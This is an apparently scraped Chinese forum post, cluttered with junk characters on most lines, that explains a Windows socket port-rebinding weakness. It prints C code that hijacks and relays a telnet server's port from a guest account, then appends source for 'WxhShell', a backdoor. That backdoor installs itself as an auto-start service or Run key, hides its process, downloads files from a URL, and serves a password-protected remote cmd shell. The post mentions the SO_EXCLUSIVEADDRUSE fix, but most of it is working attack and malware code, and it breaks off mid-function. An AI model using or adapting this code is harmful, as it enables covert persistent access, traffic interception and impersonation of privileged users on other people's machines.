在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9Z DbZc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
gCbS$Pw Q1(4l?X@ saddr.sin_family = AF_INET;
WsT PB~
r7O] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-4obX \T?6TDZ] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:g{ybTSEe .&n!4F' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<VhD>4f{] %0'7J@W 这意味着什么?意味着可以进行如下的攻击:
(UZ].+)s #Fkp6`Q$x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k h6n(B\ - *qoF(/U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
PoLk{{l3 o* e'D7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
rx@2Dmt6
s%G%s,d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
BW ux! |Z8Eu0RSb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
mdlMciP Ao\Im(? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
r6It)PQ < Yc)F.: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
hfg
^z5 z&\N^tBv #include
g"\JiBb5 #include
m=a^t #include
%eGI]!vf #include
w8zr0z DWORD WINAPI ClientThread(LPVOID lpParam);
}/Qj8l. int main()
KGmAnN {
u"8KH
u5C@ WORD wVersionRequested;
un}!&*+ DWORD ret;
@?gRWH;Pq WSADATA wsaData;
^?|d< J:{ BOOL val;
<@c@`K SOCKADDR_IN saddr;
#k,.xMJ~ SOCKADDR_IN scaddr;
(Dn1Eov int err;
OF,_6"m SOCKET s;
+}eK8>2 SOCKET sc;
w*X(bua@ int caddsize;
m ;wj|@cF HANDLE mt;
G/_xn5XDD DWORD tid;
m= %KaRI wVersionRequested = MAKEWORD( 2, 2 );
Hm+VGH'H? err = WSAStartup( wVersionRequested, &wsaData );
%g69kizoWi if ( err != 0 ) {
WkV0,_(P printf("error!WSAStartup failed!\n");
I:1Pz|$` return -1;
;@O8y\@ }
<RcB: h saddr.sin_family = AF_INET;
k#Qjm9V .N7&Jy
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'C @yJf -![{Zb@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
09i77 saddr.sin_port = htons(23);
yZb})4. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3ouo4tf$H. {
cQ3p|a ` printf("error!socket failed!\n");
"![KQ return -1;
<SdOb#2 }
}%<cFi & val = TRUE;
ry+|gCZ
//SO_REUSEADDR选项就是可以实现端口重绑定的
{mLv?"M] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\w-3Spk* {
`%~f5< printf("error!setsockopt failed!\n");
rddn"~lm1 return -1;
Wxgs66 }
3wQ\L=
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
nYO$ |/e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pV1;gqXNS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z=l2Po n '1d0
*5+6k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
X>Z83qV5d! {
fT<3~Z>m ret=GetLastError();
YVk
+zt~S printf("error!bind failed!\n");
~/Y8wxg return -1;
4$4Tx9C }
Xd.y or listen(s,2);
I/gfsyfA while(1)
U^-RyE!} {
MfA%Xep caddsize = sizeof(scaddr);
7w\!3pv //接受连接请求
0|{":i_s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
a;(,$q3M if(sc!=INVALID_SOCKET)
T,B%iZ gCh {
-*2b/=$u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2]r5e; if(mt==NULL)
I,V'J|=j {
L l,nt printf("Thread Creat Failed!\n");
d8WEsQ+)A break;
$GVf;M2* }
Z7Nhb{ }
1Sv$!xX`n CloseHandle(mt);
(D+%*ax }
7j"B-k# closesocket(s);
]agdVr^ WSACleanup();
Eb8z`@p return 0;
>_X(rar0 }
rNgAzH DWORD WINAPI ClientThread(LPVOID lpParam)
HBw0N? {
zeH=py[n SOCKET ss = (SOCKET)lpParam;
V_9\Ax'X SOCKET sc;
sEx\7t K unsigned char buf[4096];
z7a@'+' SOCKADDR_IN saddr;
8
;=?Lw? long num;
=J )(=, DWORD val;
xCMuq9zt@ DWORD ret;
H$&P=\8n //如果是隐藏端口应用的话,可以在此处加一些判断
|D8c=c% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^.Q/iXgh saddr.sin_family = AF_INET;
O)r>AdLGn saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|mz0
] saddr.sin_port = htons(23);
P?y{9H* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<"S/M]9 {
~s[Yu!( printf("error!socket failed!\n");
` $[`C/h return -1;
IZ]L.0, }
XP65 val = 100;
tNW0 C] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
puGy`9eKv1 {
5}_,rF?cX ret = GetLastError();
'RCX6TKBnR return -1;
2V*<J:;wb }
zrur-i$N+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oF0*X$_X {
McU]U9:z ret = GetLastError();
Y FW0 return -1;
f=40_5a6 }
glWa? #1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vu)V:y {
\JZ'^P$Q printf("error!socket connect failed!\n");
h,'m*@Eg closesocket(sc);
PPNZ(j closesocket(ss);
8f#&CC!L return -1;
4buzx& }
=7U8`]WA while(1)
v>mr {
-Cf<
#'x_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
MbC&u:@ "v //如果是嗅探内容的话,可以再此处进行内容分析和记录
4_?*@L1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
HLDg_ On8 num = recv(ss,buf,4096,0);
6.GIUM%D if(num>0)
D,'@b+B[ send(sc,buf,num,0);
,vUMy&AV else if(num==0)
&k {1N. break;
*AN2&>Y num = recv(sc,buf,4096,0);
orAEVEm if(num>0)
_{'HY+M send(ss,buf,num,0);
"@E(}z'sM else if(num==0)
\9dC z; break;
:+|os" }
uEkUK| closesocket(ss);
_ ;_NM5 closesocket(sc);
}\!38{& return 0 ;
68jq1Y
Pv }
D'+kzb@ &`[Dl(W b7bbrR8 ==========================================================
|7l* \)vxZ! 下边附上一个代码,,WXhSHELL
hSDuByoi 9l:Bum)9 ==========================================================
?I.<mdhN#t $ OMGo`z #include "stdafx.h"
g4^df%)& D+vHl} #include <stdio.h>
|>P`Gl]E #include <string.h>
w/HGmVa #include <windows.h>
}x1*4+Y1 #include <winsock2.h>
`P< m`* #include <winsvc.h>
Awad!_VdHS #include <urlmon.h>
#b4Pn`[ L7tC?F]}SK #pragma comment (lib, "Ws2_32.lib")
niV= Ijt{5 #pragma comment (lib, "urlmon.lib")
SD^6ib/]b ?gMxGH:B.& #define MAX_USER 100 // 最大客户端连接数
M[R\URu8 #define BUF_SOCK 200 // sock buffer
vxzOG?Xc: #define KEY_BUFF 255 // 输入 buffer
%vO b"K$X S:GX!6> #define REBOOT 0 // 重启
TY3WP$u #define SHUTDOWN 1 // 关机
',yY "p~1|?T #define DEF_PORT 5000 // 监听端口
rSVU|O3m; "7pd(p *C #define REG_LEN 16 // 注册表键长度
NQ@."8 #define SVC_LEN 80 // NT服务名长度
YRYAQj/7 %Ln7{w // 从dll定义API
;$\d^i{N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
q|.
X[~e| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X|F([,o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8ctUK| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
p`3pRrER {Ah\-{] // wxhshell配置信息
||&EmH struct WSCFG {
Cu0N/hBT int ws_port; // 监听端口
lk6*?EJ char ws_passstr[REG_LEN]; // 口令
~)#JwY int ws_autoins; // 安装标记, 1=yes 0=no
>g@;`l.Z# char ws_regname[REG_LEN]; // 注册表键名
x62b=k} char ws_svcname[REG_LEN]; // 服务名
3Q`F x char ws_svcdisp[SVC_LEN]; // 服务显示名
4w:_4qyb char ws_svcdesc[SVC_LEN]; // 服务描述信息
V Z[[zYe char ws_passmsg[SVC_LEN]; // 密码输入提示信息
dD3I. ?DY int ws_downexe; // 下载执行标记, 1=yes 0=no
n;0bVVMV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
z&o"K\y\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(DCC4%w" tdn[]|= };
"]ow1{ [{ak&{R,9{ // default Wxhshell configuration
,o}!pQ struct WSCFG wscfg={DEF_PORT,
`7P4O "xuhuanlingzhe",
+%G*)8N3 1,
*K6 V$_{S "Wxhshell",
Q9N=yz "Wxhshell",
50oNN+;=R "WxhShell Service",
kn_%'7 "Wrsky Windows CmdShell Service",
5rqjqfFa "Please Input Your Password: ",
1o7
pMp= 1,
'g8~539{& "
http://www.wrsky.com/wxhshell.exe",
l|`%FB^ k "Wxhshell.exe"
_^'fp };
^.F@yo2} twqjaFA> // 消息定义模块
AG2iLictv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`?PZvGi char *msg_ws_prompt="\n\r? for help\n\r#>";
v6
DN:!& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8@|_];9#. char *msg_ws_ext="\n\rExit.";
|,j6cFNw char *msg_ws_end="\n\rQuit.";
y@J]busU char *msg_ws_boot="\n\rReboot...";
1sZwW P char *msg_ws_poff="\n\rShutdown...";
K3&v6 #] char *msg_ws_down="\n\rSave to ";
pJx88LfR
g6$X { char *msg_ws_err="\n\rErr!";
|C@)#.nm[ char *msg_ws_ok="\n\rOK!";
!mrB+<: %O;"Z`I char ExeFile[MAX_PATH];
\pB"R$YZ6 int nUser = 0;
vbmSbZ"y HANDLE handles[MAX_USER];
)'xTDi int OsIsNt;
;"\e
aKl O B8fFd SERVICE_STATUS serviceStatus;
"g\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
HFBGM\R02 gk~.u // 函数声明
; )O)\__"- int Install(void);
za'Eom-<u int Uninstall(void);
V<
0gD?Kx int DownloadFile(char *sURL, SOCKET wsh);
ZPn`.Qc int Boot(int flag);
Rk56H void HideProc(void);
%up]"L&i int GetOsVer(void);
Mi9A%ZmP int Wxhshell(SOCKET wsl);
3Ec5:Caz void TalkWithClient(void *cs);
4s~YqP{K int CmdShell(SOCKET sock);
9k ]$MR int StartFromService(void);
xA#B1qbw int StartWxhshell(LPSTR lpCmdLine);
C',D" /sH3Rk.> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,2DKp hh VOID WINAPI NTServiceHandler( DWORD fdwControl );
I)V2cOrXM 1?`,h6d*= // 数据结构和表定义
CN\SxK`, SERVICE_TABLE_ENTRY DispatchTable[] =
9M:wUYHT {
fzRzkn:= {wscfg.ws_svcname, NTServiceMain},
gzvEy^X {NULL, NULL}
||cG/I&, };
K_oBSa` z)=D&\HX // 自我安装
#tKc!]m int Install(void)
u }D.yI8 {
V"*|`z) char svExeFile[MAX_PATH];
41mg:xW(J HKEY key;
g4&zBn strcpy(svExeFile,ExeFile);
kWc%u-_ EQ8jxr<p // 如果是win9x系统,修改注册表设为自启动
l.\Fr+*ej if(!OsIsNt) {
kYl$V= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m'XzZmI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,Ww)>O+ RegCloseKey(key);
C;}~C:aJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;FQAL@"Yj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1bF aQ50t RegCloseKey(key);
Gn#5zx#l return 0;
<33[qt~ }
PQ<""_S|| }
"'p:M,: }
cP`f\\c else {
rV)mcfw:Z DbP!wU lqR // 如果是NT以上系统,安装为系统服务
<s2IC_f<+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m,,-rC if (schSCManager!=0)
t@QaxZIlt; {
.slA} SC_HANDLE schService = CreateService
iKN~fGRc (
k q8:h schSCManager,
EA|*|o4) wscfg.ws_svcname,
HhhN8t wscfg.ws_svcdisp,
QUVwO
m SERVICE_ALL_ACCESS,
L&MR%5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W~aVwO'( SERVICE_AUTO_START,
O&V}T#8n SERVICE_ERROR_NORMAL,
=21$U[ svExeFile,
oS0l Tf\ NULL,
K>l$Y#x}k NULL,
A&jkc ' NULL,
x5YW6R.<t NULL,
U748$%}] NULL
" JFx );
<iuESeDG if (schService!=0)
I?uU}NK {
[^$nt CloseServiceHandle(schService);
zUXQl{ CloseServiceHandle(schSCManager);
{mrTpw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6X~.J4 strcat(svExeFile,wscfg.ws_svcname);
Ci4`, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:f
G5?]) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
aY}:9qBice RegCloseKey(key);
4='Xhm return 0;
$wg5q\Rv }
jzI70+E }
uf]SPG#/D CloseServiceHandle(schSCManager);
7DDd1"jE }
3_|<CE6 }
GPz0qK Q^prHn*@ return 1;
>lQ@" U }
$nF|n+m 0^$L{V // 自我卸载
k\BJs@- int Uninstall(void)
#%O|P&rA
{
r*HbglB HKEY key;
7/+I"~ Z^E>)!t if(!OsIsNt) {
p.6C.2q~s] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fI"sdzu^ RegDeleteValue(key,wscfg.ws_regname);
k>E^FB= RegCloseKey(key);
7'Z-VO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"5
;fuM1 RegDeleteValue(key,wscfg.ws_regname);
94VtGg=b} RegCloseKey(key);
3.+TM]RYN return 0;
uP, iGA }
(VDY]Q) }
NIgqdEu1 }
7 OAM else {
>RJjm&M x1]J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H3-(.l[!b) if (schSCManager!=0)
Ha~F&H|"O {
W[c[ulY& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
} I>6 8dS[ if (schService!=0)
LNp{lC {
& "i4og< if(DeleteService(schService)!=0) {
aItQ(+y CloseServiceHandle(schService);
=~z sah6N CloseServiceHandle(schSCManager);
,ZGU\t return 0;
)X
|[jP }
'8%jA$o\g CloseServiceHandle(schService);
(P!r^87 }
qm^|7m^ CloseServiceHandle(schSCManager);
,w`g+ 9v }
')N[)&&Q{ }
!/nXEjW? 0JFS%Yjw[ return 1;
u7&q(Z&&O }
YRg"{[+#]k :eIi^K z[ // 从指定url下载文件
Hg&.U;n int DownloadFile(char *sURL, SOCKET wsh)
}1fi# {
c wNJ{S+ HRESULT hr;
'0-YFx'U0V char seps[]= "/";
T@wgWE<0y_ char *token;
K|pg'VT" char *file;
CbGfVdw/c char myURL[MAX_PATH];
Su/8P[q_ char myFILE[MAX_PATH];
6am
g*=] :FT x#cZ strcpy(myURL,sURL);
r[?GO"ej5 token=strtok(myURL,seps);
x~Y{
{ while(token!=NULL)
;b{yu| {
s$% t2UaV file=token;
7|5X> yt token=strtok(NULL,seps);
{Qi J-[q }
u6nO\.TTtY :KmnwYm GetCurrentDirectory(MAX_PATH,myFILE);
N5[^W`Qf strcat(myFILE, "\\");
<Y]e strcat(myFILE, file);
zmU@ k send(wsh,myFILE,strlen(myFILE),0);
y'aK92pF: send(wsh,"...",3,0);
0iYo&q'n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
NnH]c+ if(hr==S_OK)
u,V_j|(e return 0;
h1t~hrq else
iYZn`OAx return 1;
W#)X@TlE {E; bT|3z }
JM1O7I )I#{\^ // 系统电源模块
PYBE?td int Boot(int flag)
t"zi'9$t {
v,C~5J3h) HANDLE hToken;
zauDwV= TOKEN_PRIVILEGES tkp;
I8a3: ) jDb"|l if(OsIsNt) {
HfZ ^ED"} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
iC3C~?,7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qA;Gl"HF tkp.PrivilegeCount = 1;
cZJ5L>ox tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
d~AL4~} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
g<@Q)p*ow if(flag==REBOOT) {
#dKy{Q3he if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3. @LAF return 0;
Y)@Y$_ }
DK
eB%k else {
hxzA1s%~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*|<T@BXn return 0;
n$`+03 a }
~`Rar2%B }
q}+zNeC else {
c7~R0nP if(flag==REBOOT) {
re_nb)4g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HMC-^4\%[ return 0;
,jEc4ih4 }
#|4G,! else {
51JB,}dGH} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!ej]'>V,X return 0;
z3]W # }
mogmr }
;p2b^q' I 1n,c d[ return 1;
ywl=@ }
tu Y+n2 }NoP(&ebz* // win9x进程隐藏模块
q\}+]|nGs void HideProc(void)
-$?t+ "/E {
]iGeqwT r88De=* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"!D y[J if ( hKernel != NULL )
0Dna+V/jI {
#GLW3} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4xEw2F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@J&korU FreeLibrary(hKernel);
b~}$Ch3ymW }
%0} ^M1 HO['o{>BL return;
I-Z|FKh_C }
`:Gzjngc MW6z&+Z // 获取操作系统版本
|mE;HvQF int GetOsVer(void)
"5Y6.$Cuf! {
'St6a* OSVERSIONINFO winfo;
&:g:7l]g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
BaW4 s4u GetVersionEx(&winfo);
^l|b>z"0ao if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^e_LnJ+ return 1;
8k95IJR1 else
oR&z,%0wMK return 0;
gT_KOO0n }
s6@mXO:H^ ^\AeX-q2v' // 客户端句柄模块
7n6g;8xE int Wxhshell(SOCKET wsl)
kFwFPK%B {
GM0Q@`d SOCKET wsh;
-1,0hmn=+ struct sockaddr_in client;
RC/ 3\' DWORD myID;
q:/df]Ntt #G77q$ while(nUser<MAX_USER)
=&} _bd/] {
8Rwk
o6x int nSize=sizeof(client);
<;S$4tux wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)^ Y+Vn if(wsh==INVALID_SOCKET) return 1;
VFL^-tXnA^ 0SQr%:zG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
OALNZKP if(handles[nUser]==0)
-3R:~z^L closesocket(wsh);
(MI>7| '; else
WHY/x /$ nUser++;
^;RK-) }
o=3hWbe WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G n]qh(N> 3NgXM return 0;
Y/kq!)u;%L }
din,yHu~ &rBe -52 // 关闭 socket
-!Myw&*\V void CloseIt(SOCKET wsh)
t1adS:)s {
+gX,r$bX closesocket(wsh);
0I)$!1~O) nUser--;
<bKtAf ExitThread(0);
F'Y ad }
+7H)s 2|,L 9 // 客户端请求句柄
D=-}&w_T" void TalkWithClient(void *cs)
Hw]E#S {
V.P<>~W ma~#E$i& SOCKET wsh=(SOCKET)cs;
P C_! char pwd[SVC_LEN];
NS[eQ_rT char cmd[KEY_BUFF];
-I|xW char chr[1];
hy*{{f; int i,j;
JpC'(N bQt:=> while (nUser < MAX_USER) {
?{S>%P A_B X&pYLm72; if(wscfg.ws_passstr) {
! I@w3` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pbzFzLal //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
);gY8UL^ //ZeroMemory(pwd,KEY_BUFF);
kh
W. i=0;
/|
v.A\: while(i<SVC_LEN) {
fwFJe(. 2tq2 // 设置超时
fCr2'+O"b fd_set FdRead;
%#x4wi struct timeval TimeOut;
'47
b"uV FD_ZERO(&FdRead);
k&dXK FD_SET(wsh,&FdRead);
1INX#qTZ TimeOut.tv_sec=8;
#d-({blo< TimeOut.tv_usec=0;
NKO"'
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+`
Md5.w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,&hv x !=dz^f.{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.EKlw## pwd
=chr[0]; }>xwiSF?
if(chr[0]==0xd || chr[0]==0xa) { ]@&X*~c^Z
pwd=0; p;+O/'/j
break; aA`eKy) \
} 7rjl-FUA~
i++; b#6S8C+@
} ~:a1ELqVw
g3tE.!a5-
// 如果是非法用户,关闭 socket C*Vm}|)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); URsx>yx
} *2/Jg'de
Q|(}rIWOQA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P@7>R7gS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fkxkf^g)
KL&/Yt
while(1) { OIblBQ!
B.8B1MFm
ZeroMemory(cmd,KEY_BUFF); V\L;EHtc$
F!vrvlD`s
// 自动支持客户端 telnet标准 ?v2_7x&
j=0; W'./p"2g
while(j<KEY_BUFF) { B7%,D}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @;/Pl>$|'G
cmd[j]=chr[0]; hi8q?4jE
if(chr[0]==0xa || chr[0]==0xd) { P#O"{+`
cmd[j]=0; Cj0r2^`
break; t#NPbLZ
} ?qjdmB|w
j++; 7[m+r:y
} HMq}){=S
T)! }Wvv
// 下载文件 kF|$oBQ
if(strstr(cmd,"http://")) { #/G!nN #
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >dAl *T
if(DownloadFile(cmd,wsh)) y3oq{Z>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\;9y3
else ,
'pYR]3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AwJg/VBo)
} i2qN 0?n
else { iJTG+gx
\RDN_Z
switch(cmd[0]) { Vl5r~+$|
7Jb&~{DVk
// 帮助 .O-)m'5
case '?': { 2Io|?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mIlg=8:
break; 7?fgcb3
} kepuh%KY[
// 安装 534pX7dg
case 'i': { khX/xL
if(Install())
eXl?f_9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lU1SN/'zx
else sUF$eVAT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]}\h]*
break; |r@;ulO
} Q=Q+*oog
// 卸载 xU\!UVQ/
case 'r': { *JOK8[Qn
if(Uninstall()) ]yOM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L4iWR/&
else &OU.BR>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I(6%'s2
break; S1r{2s&
} ic G 9x
// 显示 wxhshell 所在路径 SrA6}kS
case 'p': { IQBL;=.J.
char svExeFile[MAX_PATH]; DS8HSSD
strcpy(svExeFile,"\n\r"); orJ|Q3c)d
strcat(svExeFile,ExeFile); r,eH7&P9{
send(wsh,svExeFile,strlen(svExeFile),0); T)tr"<F5NP
break; o9sQ!gptw
} RlfI]uCDM
// 重启 i%yKyfD
case 'b': { <@7j37,R7V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (
%sfwv
if(Boot(REBOOT)) R/{h4/+vJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51}C`j|V3{
else { 1=]#=)+
closesocket(wsh); $(&uaDYv
ExitThread(0); #mH28UT
} eHx {[J?
break; xEG:KSH
} ,5 8-h?B0v
// 关机 ccv
case 'd': { |TJ gH<I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^3HSw ?a"
if(Boot(SHUTDOWN)) E.#JCO|(1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H~[q<ybxr
else { D*L@I@
[
closesocket(wsh); aR6~r^jB
ExitThread(0); ,,FhE
} S*r }oX0
break; SP0ueAa}
} _WV13pnRu
// 获取shell Tu:lIy~A
case 's': { s#~VN;-I
CmdShell(wsh); D[T\_3W
closesocket(wsh); +) 9=bB
ExitThread(0); 89[/UxM)
break; 1xxTI{'g[
} %5ov!nm7
// 退出 *h?*RUQ
case 'x': { N#J8 4i;ry
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NrcV%-+u%
CloseIt(wsh); #E4oq9{0*W
break; __z/X"H
} w&U28"i>
// 离开 pJ?y
case 'q': { 5G<`c
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %i&am=
closesocket(wsh); 1\TkI=N3
WSACleanup(); J^kSp
exit(1); x}C$/ 7^
break; _J>Ik2EF
} I/h( *~/
} MNfc1I_#
} 3&X5*-U
@
/e{-Q
// 提示信息 %AMF6l[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'mU\X!-
4<
} X?8bb! g%Q
} `=TJw,q
UuJ gB)
return; Ud-c+, xX
} iA2TvP#
<.|]%7
// shell模块句柄 s4 Uk5<
int CmdShell(SOCKET sock) 6%VRQ#g!
{ `C:J {`
STARTUPINFO si; K>+c2;t;
ZeroMemory(&si,sizeof(si)); N[=R$1\Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ovtZHq/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (.M &nN'Ce
PROCESS_INFORMATION ProcessInfo; V=GP_^F
char cmdline[]="cmd"; e58tf3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U,9=&"e b
return 0; r-}C !aF]
} k1^&;}/f:
\T!tUd
// 自身启动模式 +_fxV|}P
int StartFromService(void) w##$SaTI
{ LZpqv~av
typedef struct J16(d+
{ $T'lWD *
DWORD ExitStatus; tjy@sO/Q
DWORD PebBaseAddress; *Q3q(rdrp
DWORD AffinityMask; %xwdH4_
DWORD BasePriority; \g;-q9g;O
ULONG UniqueProcessId; JLxAk14lc
ULONG InheritedFromUniqueProcessId; P_c9v/
